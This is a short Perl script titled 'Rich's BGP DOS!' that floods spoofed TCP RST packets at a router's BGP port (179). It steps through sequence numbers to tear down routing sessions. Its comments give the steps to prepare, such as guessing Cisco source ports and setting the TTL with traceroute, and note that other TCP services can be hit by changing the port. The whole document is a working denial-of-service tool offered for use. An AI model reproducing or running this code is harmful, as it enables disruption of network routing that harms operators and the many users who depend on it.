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- #!/usr/bin/perl
- #
- # Rich's BGP DOS!
- # version .02
- # Sends out RST flood to DOS BGP Connections
- #
- # Requires getopts.pl and Net:RawIP (http://www.ic.al.lg.ua/~ksv/)
- #
- #For this to work you must do a preceding scan to figure out what the source port and sequence number should be!
- #Cisco routers have a magic source port after reboot and all subsequent source ports are incremented by 1 or 512 depending on IOS
- #And also find out the hops to set the ttl w/ traceroute. Per the RFC, the TTL must be 1 when it arrives at the router.
- #
- #
-
- require 'getopts.pl';
- use Net::RawIP;
- Getopts('s:p:d:t:x');
- $a = new Net::RawIP;
- die "Usage $0 -s <spoofed source> -p <source port> -d <destination> -t <ttl>" unless ($opt_s && $opt_p && $opt_d && $opt_t);
-
- $count=0;
-
- while ($count < 4294967296) {
-
- #Increment the count
- $count=$count + 16384;
-
- #Create IP packet!
- $a->set({ ip =>
- {saddr => $opt_s,
- daddr => $opt_d,
- ttl => $opt_t
- },
- #Another TCP port could be specified here to do DOSes on other TCP services. BGP is 179
- tcp=> {dest => 179,
- source => $opt_p,
- window => 16384,
- seq => $count,
- rst => 1}
- });
- #Send it out!
- $a->send;
- }